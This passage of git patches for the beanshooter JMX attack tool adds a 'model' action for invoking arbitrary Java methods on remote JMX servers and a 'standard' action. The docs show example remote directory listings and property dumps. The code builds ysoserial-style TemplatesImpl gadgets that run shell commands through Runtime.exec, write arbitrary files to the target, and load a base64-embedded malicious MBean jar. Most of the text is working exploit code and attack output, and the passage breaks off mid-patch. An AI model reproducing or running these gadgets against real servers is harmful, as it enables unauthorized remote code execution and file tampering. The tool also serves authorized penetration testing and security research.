- [serial](#serial) - [stager](#stager) - [undeploy](#undeploy) @@ -449,6 +450,127 @@ The `list` action prints a list of all registered *MBeans* on the remote *JMX* s [...] ``` +#### Model + +The `model` action is one of the most powerful *beanshooter* operations and implements a technique +identified by [Markus Wulftange](https://twitter.com/mwulftange) that allows you to invoke arbitrary +*public* and *static* Java methods. Moreover, *public* object methods can also be invoked on a user +created object instance. The only requirements are that the utilized method arguments and the provided +object instance (for *non static* methods) are serializable. + +The following listing shows an example usage, where an `File` object is provided as object instance +and the `String[] list()` operation is invoked on it: + +```console +[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")' +[+] Deploying RequiredModelMBean supporting methods from java.io.File +[+] +[+] Deplyoing MBean: RequiredModelMBean +[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed. +[+] +[+] Available Methods: +[+] - java.lang.String toString() +[+] - int hashCode() +[+] - [Ljava.lang.String; list() +[...] +[+] - void setManagedResource(java.lang.Object, java.lang.String) +[+] +[+] Setting managed resource to: new java.io.File("/") +[+] Managed resource was set successfully. +[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()' +root +var +opt +srv +bin +mnt +dev +proc +etc +usr +lib +tmp +home +run +media +sbin +sys +.dockerenv +``` + +The `setManagedResource` method is always available and can be used to change the object instance to operate on: + +```console +[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference +[+] Call was successful. +[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()' +passwd +shells +opt +modules +mtab +issue +inittab +hosts +... +``` + +When invoking *static* methods, an object instance is also required. However, the actual class of the object instance does +not matter. E.g. if you want to invoke `getProperties()` from `java.lang.System`, you could also use a simple `String` +as object instance. Only the specified class name matters in this case: + +```console +[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"' +[+] Deploying RequiredModelMBean supporting methods from java.lang.System +[+] +[+] Deplyoing MBean: RequiredModelMBean +[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed. +[+] +[+] Available Methods: +[+] - void runFinalization() +[+] - java.lang.String setProperty(java.lang.String, java.lang.String) +[+] - java.lang.String getProperty(java.lang.String) +[+] - java.lang.String getProperty(java.lang.String, java.lang.String) +[+] - long currentTimeMillis() +[+] - long nanoTime() +[+] - java.lang.SecurityManager getSecurityManager() +[+] - void loadLibrary(java.lang.String) +[+] - java.lang.String mapLibraryName(java.lang.String) +[+] - void load(java.lang.String) +[+] - java.lang.String lineSeparator() +[+] - java.io.Console console() +[+] - java.nio.channels.Channel inheritedChannel() +[+] - java.util.Properties getProperties() +[+] - void setProperties(java.util.Properties) +[+] - java.lang.String clearProperty(java.lang.String) +[+] - java.util.Map getenv() +[+] - java.lang.String getenv(java.lang.String) +[+] - void gc() +[+] - void wait() +[+] - java.lang.String toString() +[+] - int hashCode() +[+] - java.lang.Class getClass() +[+] - void notify() +[+] - void notifyAll() +[+] - void setManagedResource(java.lang.Object, java.lang.String) +[+] +[+] Setting managed resource to: "does not matter" +[+] Managed resource was set successfully. +[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()' +java.vm.info + --> mixed mode +java.runtime.version + --> 11.0.18+10-alpine-r0 +sun.io.unicode.encoding + --> UnicodeLittle +... +``` + +If you want to know more about the technique that is implemented by the `model` action, I highly +recommend [this blog post](TODO) by [CODE WHITE](https://www.code-white.com/en/) which explains it +in great detail. + + #### Serial The `serial` action can be used to perform deserialization attacks on a *JMX* endpoint. By default, the action From 1ba9184bc79049372abe6527cc7b560ee29ce2e3 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Wed, 15 Mar 2023 09:03:50 +0100 Subject: [PATCH 04/25] Bump version number --- CHANGELOG.md | 11 +++++++++++ README.md | 2 +- beanshooter/pom.xml | 2 +- beanshooter/src/de/qtc/beanshooter/mbean/MBean.java | 2 +- pom.xml | 2 +- tests/jmx-example-server/deploy/rmi/tricot.yml | 6 +++--- tonka-bean/pom.xml | 2 +- 7 files changed, 19 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index dc8a029..8f744e3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,17 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [4.1.0] - Mar XX, 2023 + +### Added + +* Add [model](/#model) action (see CODE WHITE [blog post](TODO)) + +### Changed + +* Improved exception handling + + ## [4.0.0] - Mar 07, 2023 ### Added diff --git a/README.md b/README.md index 71f546a..eb2afd0 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ ![](https://github.com/qtc-de/beanshooter/workflows/develop%20maven%20CI/badge.svg?branch=develop) ![](https://img.shields.io/badge/java-8%2b-blue) [![](https://img.shields.io/badge/build%20system-maven-blue)](https://maven.apache.org/) -[![](https://img.shields.io/badge/version-4.0.0-blue)](https://github.com/qtc-de/beanshooter/releases) +[![](https://img.shields.io/badge/version-4.1.0-blue)](https://github.com/qtc-de/beanshooter/releases) [![](https://img.shields.io/badge/license-GPL%20v3.0-blue)](https://github.com/qtc-de/beanshooter/blob/master/LICENSE) diff --git a/beanshooter/pom.xml b/beanshooter/pom.xml index 2174c77..93b28d7 100644 --- a/beanshooter/pom.xml +++ b/beanshooter/pom.xml @@ -4,7 +4,7 @@ de.qtc.beanshooter reactor - 4.0.0 + 4.1.0 beanshooter diff --git a/beanshooter/src/de/qtc/beanshooter/mbean/MBean.java b/beanshooter/src/de/qtc/beanshooter/mbean/MBean.java index 5129f9c..1dcff29 100644 --- a/beanshooter/src/de/qtc/beanshooter/mbean/MBean.java +++ b/beanshooter/src/de/qtc/beanshooter/mbean/MBean.java @@ -106,7 +106,7 @@ public enum MBean implements IMBean { "de.qtc.beanshooter.tonkabean.TonkaBean", }, - "tonka-bean-4.0.0-jar-with-dependencies.jar", + "tonka-bean-4.1.0-jar-with-dependencies.jar", TonkaBeanOperation.values(), TonkaBeanOption.values() ); diff --git a/pom.xml b/pom.xml index 8df5794..bda3a47 100644 --- a/pom.xml +++ b/pom.xml @@ -5,7 +5,7 @@ reactor reactor pom - 4.0.0 + 4.1.0 JMX enumeration and attacking tool diff --git a/tests/jmx-example-server/deploy/rmi/tricot.yml b/tests/jmx-example-server/deploy/rmi/tricot.yml index 2261d32..5d6146f 100644 --- a/tests/jmx-example-server/deploy/rmi/tricot.yml +++ b/tests/jmx-example-server/deploy/rmi/tricot.yml @@ -173,7 +173,7 @@ tests: - Exporting MLet HTML file to - file_exists: files: - - tonka-bean-4.0.0-jar-with-dependencies.jar + - tonka-bean-4.1.0-jar-with-dependencies.jar - index.html @@ -189,7 +189,7 @@ tests: - de.qtc.beanshooter.tonkabean.TonkaBean - 'de.qtc.beanshooter:type=Test' - --jar-file - - ./tonka-bean-4.0.0-jar-with-dependencies.jar + - ./tonka-bean-4.1.0-jar-with-dependencies.jar - --stager-url - http://${DOCKER-GW}:4444 @@ -212,7 +212,7 @@ tests: - file_exists: cleanup: True files: - - tonka-bean-4.0.0-jar-with-dependencies.jar + - tonka-bean-4.1.0-jar-with-dependencies.jar - index.html diff --git a/tonka-bean/pom.xml b/tonka-bean/pom.xml index 2bd7d33..e2169bd 100644 --- a/tonka-bean/pom.xml +++ b/tonka-bean/pom.xml @@ -4,7 +4,7 @@ de.qtc.beanshooter reactor - 4.0.0 + 4.1.0 tonka-bean From 8b65a36682935251413a4dc1a79bf2dc31a146dd Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Wed, 15 Mar 2023 09:44:22 +0100 Subject: [PATCH 05/25] Fix small formatting error --- beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java b/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java index 477d348..404fd36 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java @@ -134,7 +134,7 @@ public void model() if (BeanshooterOption.MODEL_SIGNATURE.isNull() && BeanshooterOption.MODEL_SIGNATURE_FILE.isNull()) { Logger.eprintlnMixedYellow("The specified class", className, "cannot be found locally."); - Logger.eprintMixedBlue("You can still use it by providing method signatures via", "--signature", "or"); + Logger.eprintMixedBlue("You can still use it by providing method signatures via", "--signature", "or "); Logger.eprintlnPlainBlue("--signature-file"); Utils.exit(); } From 5b9b4552dd158acb4c15f81039acaa117ee3e43b Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Wed, 15 Mar 2023 14:07:44 +0100 Subject: [PATCH 06/25] Add implementation for StandardMBean Added a first implementation for StandardMBean exploitation as identified by Markus Wulftange @mwulftange. Currently, three different actions are supported: upload, execution and tonka bean deployment. --- .../de/qtc/beanshooter/cli/OptionHandler.java | 11 + .../operation/BeanshooterOperation.java | 25 ++ .../operation/BeanshooterOption.java | 13 + .../qtc/beanshooter/operation/Dispatcher.java | 56 +++- .../src/de/qtc/beanshooter/utils/Utils.java | 15 + .../qtc/beanshooter/utils/YsoIntegration.java | 267 +++++++++++++++++- 6 files changed, 382 insertions(+), 5 deletions(-) diff --git a/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java b/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java index 0ea4e2b..d47bf57 100644 --- a/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java +++ b/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java @@ -138,6 +138,12 @@ public static void addModifiers(Option option, Argument arg) if (option == TonkaBeanOption.EXEC_ARRAY) arg.nargs("+"); + if (option == BeanshooterOption.STANDARD_OPERATION_ARGS) + { + arg.nargs("?"); + arg.setDefault(""); + } + if (option == TonkaBeanOption.DOWNLOAD_DEST) arg.nargs("?"); @@ -165,5 +171,10 @@ public static void addModifiers(Option option, Argument arg) mBeanNames.add("custom"); arg.choices(mBeanNames); } + + if (option == BeanshooterOption.STANDARD_OPERATION) + { + arg.choices(new String[] { "exec", "upload", "tonka" }); + } } } diff --git a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java index 764a088..99791de 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java @@ -264,6 +264,31 @@ public enum BeanshooterOperation implements Operation { BeanshooterOption.MODEL_SIGNATURE_FILE }), + STANDARD("standard", "creates a StandardMBean on the server", new Option[] { + BeanshooterOption.GLOBAL_CONFIG, + BeanshooterOption.GLOBAL_VERBOSE, + BeanshooterOption.GLOBAL_PLUGIN, + BeanshooterOption.GLOBAL_NO_COLOR, + BeanshooterOption.GLOBAL_STACK_TRACE, + BeanshooterOption.TARGET_HOST, + BeanshooterOption.TARGET_PORT, + BeanshooterOption.TARGET_BOUND_NAME, + BeanshooterOption.TARGET_OBJID_SERVER, + BeanshooterOption.TARGET_OBJID_CONNECTION, + BeanshooterOption.CONN_FOLLOW, + BeanshooterOption.CONN_SSL, + BeanshooterOption.CONN_JMXMP, + BeanshooterOption.CONN_JOLOKIA, + BeanshooterOption.CONN_JOLOKIA_ENDPOINT, + BeanshooterOption.CONN_JOLOKIA_PROXY, + BeanshooterOption.CONN_JOLOKIA_PROXY_USER, + BeanshooterOption.CONN_JOLOKIA_PROXY_PASS, + BeanshooterOption.CONN_USER, + BeanshooterOption.CONN_PASS, + BeanshooterOption.CONN_SASL, + BeanshooterOption.STANDARD_OPERATION, + BeanshooterOption.STANDARD_OPERATION_ARGS, + }), SERIAL("serial", "perform a deserialization attack", new Option[] { BeanshooterOption.GLOBAL_CONFIG, diff --git a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java index 7d8d0c2..93bd83e 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java @@ -474,6 +474,19 @@ public enum BeanshooterOption implements Option { ArgType.STRING ), + STANDARD_OPERATION("operation", + "operation to execute via StandardMBean", + Arguments.store(), + OptionGroup.ACTION, + ArgType.STRING + ), + + STANDARD_OPERATION_ARGS("args", + "arguments for the operation to execute via StandardMBean", + Arguments.store(), + OptionGroup.ACTION, + ArgType.STRING + ), MODEL_SIGNATURE_FILE("--signature-file", "create a RequiredModelMBean with method signatures from a file", diff --git a/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java b/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java index 404fd36..a36de2c 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java @@ -15,11 +15,13 @@ import javax.management.ObjectName; import javax.management.ReflectionException; import javax.management.RuntimeMBeanException; +import javax.management.StandardMBean; import javax.management.modelmbean.ModelMBeanAttributeInfo; import javax.management.modelmbean.ModelMBeanInfo; import javax.management.modelmbean.ModelMBeanInfoSupport; import javax.management.modelmbean.ModelMBeanOperationInfo; import javax.management.modelmbean.RequiredModelMBean; +import javax.xml.transform.Templates; import org.jolokia.client.exception.J4pRemoteException; @@ -381,6 +383,58 @@ else if (BeanshooterOption.SERIAL_PREAUTH.getBool()) } }; + /** + * Deploy a StandardMBean that implements TemplatesImpl. + */ + public void standard() + { + String className = StandardMBean.class.getName(); + ObjectName mBeanObjectName = Utils.getObjectName("de.qtc.beanshooter:standard=" + System.nanoTime()); + + String operation = "template-" + BeanshooterOption.STANDARD_OPERATION.getValue(); + String arguments = BeanshooterOption.STANDARD_OPERATION_ARGS.getValue(); + + if (!operation.equals("template-tonka") && arguments.equals("")) + { + Logger.eprintlnMixedYellow("The " + operation + " action requires", "an additional parameter", "to work with."); + Utils.exit(); + } + + Logger.printlnBlue("Creating a TemplateImpl payload object to abuse StandardMBean"); + Logger.lineBreak(); + Logger.increaseIndent(); + + Object templateGadget = PluginSystem.getPayloadObject(BeanshooterOperation.STANDARD, operation, arguments); + MBeanServerClient mBeanServerClient = getMBeanServerClient(); + + String[] ctorArgTypes = new String[] { Object.class.getName(), Class.class.getName() }; + Object[] ctorArgs = new Object[] { templateGadget, Templates.class }; + + mBeanServerClient.deployMBean(className, mBeanObjectName, null, ctorArgs, ctorArgTypes); + Logger.lineBreak(); + + try + { + mBeanServerClient.invoke(mBeanObjectName, "newTransformer", new String[0]); + } + catch (RuntimeMBeanException | MBeanException | ReflectionException | IOException e) + { + Throwable t = ExceptionHandler.getCause(e); + + if (e instanceof RuntimeMBeanException) + { + if (t instanceof NullPointerException) + { + Logger.printlnMixedBlue("Caught", "NullPointerException", "while invoking the newTransformer action."); + Logger.printlnMixedBlue("This is expected bahavior and the attack most likely", "worked", ":)"); + } + } + } + + Logger.lineBreak(); + mBeanServerClient.unregisterMBean(mBeanObjectName); + }; + /** * Attempt to bruteforce valid credentials on the targeted JMX endpoint. */ @@ -465,7 +519,7 @@ public void invoke() Logger.printlnBlue("Call was successful."); } - catch (MBeanException | ReflectionException | IOException e) + catch (RuntimeMBeanException | MBeanException | ReflectionException | IOException e) { Throwable t = ExceptionHandler.getCause(e); String message = t.getMessage(); diff --git a/beanshooter/src/de/qtc/beanshooter/utils/Utils.java b/beanshooter/src/de/qtc/beanshooter/utils/Utils.java index fad3935..0248814 100644 --- a/beanshooter/src/de/qtc/beanshooter/utils/Utils.java +++ b/beanshooter/src/de/qtc/beanshooter/utils/Utils.java @@ -723,6 +723,14 @@ public static ModelMBeanOperationInfo[] createModelMBeanInfosFromClass(Class return infos.toArray(new ModelMBeanOperationInfo[0]); } + /** + * Create an array of ModelMBeanOperationInfo from user specified signatures. This function inspects the + * MODEL_SIGNATURE and MODEL_SIGNATURE_FILE options and parses the contents accordingly. For each signature, + * a new ModelMBeanOperationInfo is created. All methods are expected to be present in the specified className. + * + * @param className Class where the signatures are defined + * @return Array of ModelMBeanOperationInfo, one for each specified signature + */ public static ModelMBeanOperationInfo[] createModelMBeanInfosFromArg(String className) { List operationInfos = new ArrayList(); @@ -779,6 +787,13 @@ else if (BeanshooterOption.MODEL_SIGNATURE_FILE.notNull()) return operationInfos.toArray(new ModelMBeanOperationInfo[0]); } + /** + * Create a ModelMBeanOperationInfo from the specified method signature. + * + * @param className the class where the method is defined in + * @param method the method signature + * @return ModelMBeanOperationInfo for the specified parameters + */ public static ModelMBeanOperationInfo crateModelMBeanInfoFromString(String className, String method) { String[] methodDesc = PluginSystem.getArgumentTypes(method, false, true); diff --git a/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java b/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java index ea6b6ed..646cad5 100644 --- a/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java +++ b/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java @@ -1,22 +1,53 @@ package de.qtc.beanshooter.utils; import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.io.Serializable; +import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.Arrays; +import java.util.Base64; + +import org.apache.commons.io.IOUtils; + +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import de.qtc.beanshooter.cli.ArgumentHandler; import de.qtc.beanshooter.exceptions.ExceptionHandler; import de.qtc.beanshooter.io.Logger; +import de.qtc.beanshooter.mbean.MBean; import de.qtc.beanshooter.operation.BeanshooterOption; +import javassist.CannotCompileException; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.NotFoundException; /** * Wrapper around ysoserial. Is used to validate the path to the ysoserial jar file and to create gadgets. * * @author Tobias Neitzel (@qtc_de) */ -public class YsoIntegration { +@SuppressWarnings("restriction") +public class YsoIntegration +{ + /** + * For beanshooters standard action, we use the YsoIntegration class to also create the required + * payload objects of type TemplateImpl. Ysoserial only supports a generic command execution version + * of the template. beanshooter adds some additional one. Since a full ysoserial integration is not + * necessary for only the template object creation, we do it our own and copy the relevant code from + * the ysoserial project. + * + * The following array contains the available template objects. + */ + private static final String[] templateGadgets = new String[] { "template-exec", "template-upload", "template-tonka" }; /** * Just a small wrapper around the URLClassLoader creation. Checks the existence of the specified file @@ -29,7 +60,8 @@ private static URLClassLoader getClassLoader() throws MalformedURLException { File ysoJar = new File((String)ArgumentHandler.require(BeanshooterOption.YSO)); - if( !ysoJar.exists() ) { + if (!ysoJar.exists()) + { ExceptionHandler.ysoNotPresent(BeanshooterOption.YSO.getValue()); } @@ -40,6 +72,9 @@ private static URLClassLoader getClassLoader() throws MalformedURLException * Loads ysoserial using and separate URLClassLoader and invokes the makePayloadObject function by using * reflection. The result is a ysoserial gadget as it would be created on the command line. * + * If the requested gadget is contained within templateGadgets, we create the gadget on our own (of course + * still with the help of the ysoserial source code - copy & paste). + * * @param gadget name of the desired gadget * @param command command specification for the desired gadget * @return ysoserial gadget @@ -48,7 +83,13 @@ public static Object getPayloadObject(String gadget, String command) { Object ysoPayload = null; - try { + if (Arrays.asList(templateGadgets).contains(gadget)) + { + return getTemplateGadget(gadget, command); + } + + try + { URLClassLoader ucl = getClassLoader(); Class yso = Class.forName("ysoserial.payloads.ObjectPayload$Utils", true, ucl); @@ -56,8 +97,10 @@ public static Object getPayloadObject(String gadget, String command) Logger.print("Creating ysoserial payload..."); ysoPayload = method.invoke(null, new Object[] {gadget, command}); + } - } catch( Exception e) { + catch( Exception e) + { Logger.printlnPlain(" failed."); Logger.eprintlnMixedYellow("Caught unexpected", e.getClass().getName(), "during gadget generation."); Logger.eprintMixedBlue("You probably specified", "a wrong gadget name", "or an "); @@ -69,4 +112,220 @@ public static Object getPayloadObject(String gadget, String command) Logger.printlnPlain(" done."); return ysoPayload; } + + /** + * Create the requested template gadget. + * + * @param gadget the gadget to create + * @param command command to pass to the gadget + * @return TemplateImpl object that performs the requested action + */ + private static Object getTemplateGadget(String gadget, String command) + { + if (gadget.equals("template-tonka")) + return getTonkaTemplateGadget(); + + else if (gadget.equals("template-exec")) + return getCommandTemplateGadget(command); + + else if (gadget.equals("template-upload")) + return getUploadTemplateGadget(command); + + ExceptionHandler.internalError("getTemplateGadget", "A non existing gadget was requested."); + return null; + } + + /** + * Returns a TemplateImpl gadget that deploys the tonka bean on the target server. + * + * @return TemplateImpl object that deploys the tonka bean on the target server + * @throws IOException + */ + private static Object getTonkaTemplateGadget() + { + byte[] content = null; + String base64 = null; + + InputStream stream = YsoIntegration.class.getResourceAsStream("/" + MBean.TONKA.getJarName()); + + if (stream == null) + { + Logger.printlnMixedYellow("Unable to find", MBean.TONKA.getJarName(), "within beanshooter.jar."); + Logger.printlnMixedBlue("This", "is not", "supposed to happen."); + Utils.exit(); + } + + try + { + content = IOUtils.toByteArray(stream); + } + + catch (IOException e) + { + Logger.printlnMixedYellow("Caught unexpected", "IOException", "while reading " + MBean.TONKA.getJarName() + "."); + Utils.exit(); + } + + base64 = new String(Base64.getEncoder().encode(content)); + + // Create a temporary file where the TonkaBean Jar file is uploaded + String java = "java.io.File f = java.io.File.createTempFile(\"tonka-bean\", \".jar\");"; + + // Upload the TonkaBean Jar file + java += String.format("java.nio.file.Files.write(f.toPath(), " + + "java.util.Base64.getDecoder().decode(\"%s\"), " + + "new java.nio.file.StandardOpenOption[0]);", base64); + + // Create an URLClassLoader and use it load the TonkaBean Jar + java += "java.net.URLClassLoader ucls = new java.net.URLClassLoader(new java.net.URL[] {f.toURI().toURL()});"; + java += "Class tonkaBeanClass = java.lang.Class.forName(\"de.qtc.beanshooter.tonkabean.TonkaBean\", true, ucls);"; + + // Create a new instance of the TonkaBean and register it to the MBean server + java += "Object instance = tonkaBeanClass.newInstance();"; + java += String.format("java.lang.management.ManagementFactory.getPlatformMBeanServer().registerMBean(instance, " + + "new javax.management.ObjectName(\"%s\"));", MBean.TONKA.getObjectName().toString()); + + // Delete the temporary file + java += "f.delete();"; + + return templateGadgetFromJava(java); + } + + /** + * Returns a TemplateImpl gadget that uploads a file. The gadget command is expected + * to be of the structure "source:destination". + * + * @param command the upload command - format should be : + * @return TemplateImpl object that uploads a file. + */ + private static Object getUploadTemplateGadget(String command) + { + String base64 = null; + String[] split = command.split(":"); + + if (split.length != 2) + { + Logger.eprintlnMixedYellow("Invalid upload parameter:", command); + Logger.eprintlnMixedBlue("The expected format is:", ":"); + Utils.exit(); + } + + try + { + byte[] content = Files.readAllBytes(Paths.get(split[0])); + base64 = new String(Base64.getEncoder().encode(content)); + } + + catch (IOException e) + { + ExceptionHandler.handleFileRead(e, split[0], true); + } + + String java = String.format("java.nio.file.Files.write(new java.io.File(\"%s\").toPath(), " + + "java.util.Base64.getDecoder().decode(\"%s\"), " + + "new java.nio.file.StandardOpenOption[0]);", split[1], base64); + + return templateGadgetFromJava(java); + } + + /** + * Returns a TemplateImpl gadget that executes a command. This is basically the + * version implemented by ysoserial. + * + * @param command the command to execute + * @return TemplateImpl object that executes a command + */ + private static Object getCommandTemplateGadget(String command) + { + String java = "java.lang.Runtime.getRuntime().exec(\"" + + command.replace("\\", "\\\\").replace("\"", "\\\"") + + "\");"; + + return templateGadgetFromJava(java); + } + + /** + * Generate a TemplateImpl object that executes the specified Java code on + * transformation. This function is basically a copy of ysoserials createTemplatesImpl. + * + * source: https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java#L106 + * + * Different licensing may apply. + * + * @param java the java code to execute when a transformation occurs + * @return TemplateImpl object that executes the specified Java code on transformation + */ + private static Object templateGadgetFromJava(String java) + { + byte[] payloadBytes = null; + byte[] dummyBytes = null; + + try + { + ClassPool pool = ClassPool.getDefault(); + + CtClass payloadClass = pool.makeClass("de.qtc.beanshooter.utils.TransletPayloadStub" + System.nanoTime()); + payloadClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); + payloadClass.addInterface(pool.getCtClass(Serializable.class.getName())); + payloadClass.makeClassInitializer().insertAfter(java); + + CtClass dummyClass = pool.makeClass("de.qtc.beanshooter.utils.Foo" + System.nanoTime()); + dummyClass.addInterface(pool.getCtClass(Serializable.class.getName())); + + payloadBytes = payloadClass.toBytecode(); + dummyBytes = dummyClass.toBytecode(); + } + + catch (NotFoundException | CannotCompileException | IOException e) + { + Logger.printlnMixedYellow("Caught", e.getClass().getName(), "during dynamic class generation."); + ExceptionHandler.showStackTrace(e); + Utils.exit(); + } + + return createTemplateGadget(payloadBytes, dummyBytes); + } + + /** + * Helper class to generate TemplateImpl objects. This function is basically a copy of + * ysoserials createTemplatesImpl. + * + * source: https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java#L106 + * + * Different licensing may apply. + * + * @param payloadBytes bytecode of the payload class to place within the Template + * @param dummyBytes bytecode of a dummy class + * @return TemplateImpl object that contains the specified bytecodes + */ + @SuppressWarnings("deprecation") + private static Object createTemplateGadget(byte[] payloadBytes, byte[] dummyBytes) + { + final TemplatesImpl template = new TemplatesImpl(); + + Field bytecodeField; + try + { + bytecodeField = template.getClass().getDeclaredField("_bytecodes"); + bytecodeField.setAccessible(true); + bytecodeField.set(template, new byte[][] { payloadBytes, dummyBytes}); + + Field nameField = template.getClass().getDeclaredField("_name"); + nameField.setAccessible(true); + nameField.set(template, "Pwnr"); + + Field templateField = template.getClass().getDeclaredField("_tfactory"); + templateField.setAccessible(true); + templateField.set(template, TransformerFactoryImpl.class.newInstance()); + } + + catch (NoSuchFieldException | SecurityException | IllegalArgumentException | IllegalAccessException | InstantiationException e) + { + Logger.printlnMixedYellow("Caught", e.getClass().getName(), "while creating TemplatesIml object."); + ExceptionHandler.showStackTrace(e); + Utils.exit(); + } + + return template; + } } From 236b055f0283402c7c0810174ae73d96acb7776f Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Wed, 15 Mar 2023 15:00:40 +0100 Subject: [PATCH 07/25] Add documentation on how to invoke custom classes Added some documentation on how to invoke custom classes with the model action. --- README.md | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/README.md b/README.md index eb2afd0..3c87dbb 100644 --- a/README.md +++ b/README.md @@ -566,6 +566,31 @@ sun.io.unicode.encoding ... ``` +The `model` action uses reflection to determine available methods on the specified class. If you do not +have the class locally available, you can still use it by specifying available methods via the `--signature` +or `--signature-file` options. That being said, in order to get access to non default classes you need to +provide an object instance that is also not a default class (not present in `rt.jar`). For *beanshooters* +*example-server*, `javax.management.remote.message.VersionMessage` is suitable, as this class is present +in `opendmk_jmxremote_optional_jar` which is present in the client as well as in the server. We can use +this as an object instance to invoke methods on other custom classes, like `de.qtc.beanshooter.server.utils.Logger`: + +```console +[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()' +[+] Deploying RequiredModelMBean supporting user specified methods +[+] +[+] Deplyoing MBean: RequiredModelMBean +[+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed. +[+] +[+] Available Methods: +[+] - String getIndent() +[+] - void setManagedResource(java.lang.Object, java.lang.String) +[+] +[+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test") +[+] Managed resource was set successfully. +[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()' +EMPTY OUTPUT - Just an Indent ;) +``` + If you want to know more about the technique that is implemented by the `model` action, I highly recommend [this blog post](TODO) by [CODE WHITE](https://www.code-white.com/en/) which explains it in great detail. From 323f7acea70fc7ab13956f8afbf1d51b5029d0d3 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Wed, 15 Mar 2023 15:03:34 +0100 Subject: [PATCH 08/25] Fix a small bug when parsing method signatures When parsing method signatures via Javaassist, we are not able to obtain the return value from them, as they are always created as retung void. Instead we need to parse the return value from the method string. --- .../src/de/qtc/beanshooter/plugin/IArgumentProvider.java | 2 +- .../src/de/qtc/beanshooter/plugin/PluginSystem.java | 5 ++--- .../qtc/beanshooter/plugin/providers/ArgumentProvider.java | 7 ++----- beanshooter/src/de/qtc/beanshooter/utils/Utils.java | 5 +++-- 4 files changed, 8 insertions(+), 11 deletions(-) diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java index 2a5b254..41d1cb4 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java @@ -23,6 +23,6 @@ public interface IArgumentProvider Object[] getArgumentArray(String[] argumentArray) throws PluginException; Object strToObj(String str) throws PluginException; String[] getArgumentTypes(String signature) throws PluginException; - String[] getArgumentTypes(String signature, boolean includeReturn, boolean includeName) throws PluginException; + String[] getArgumentTypes(String signature, boolean includeName) throws PluginException; String getMethodName(String signature) throws PluginException; } diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java 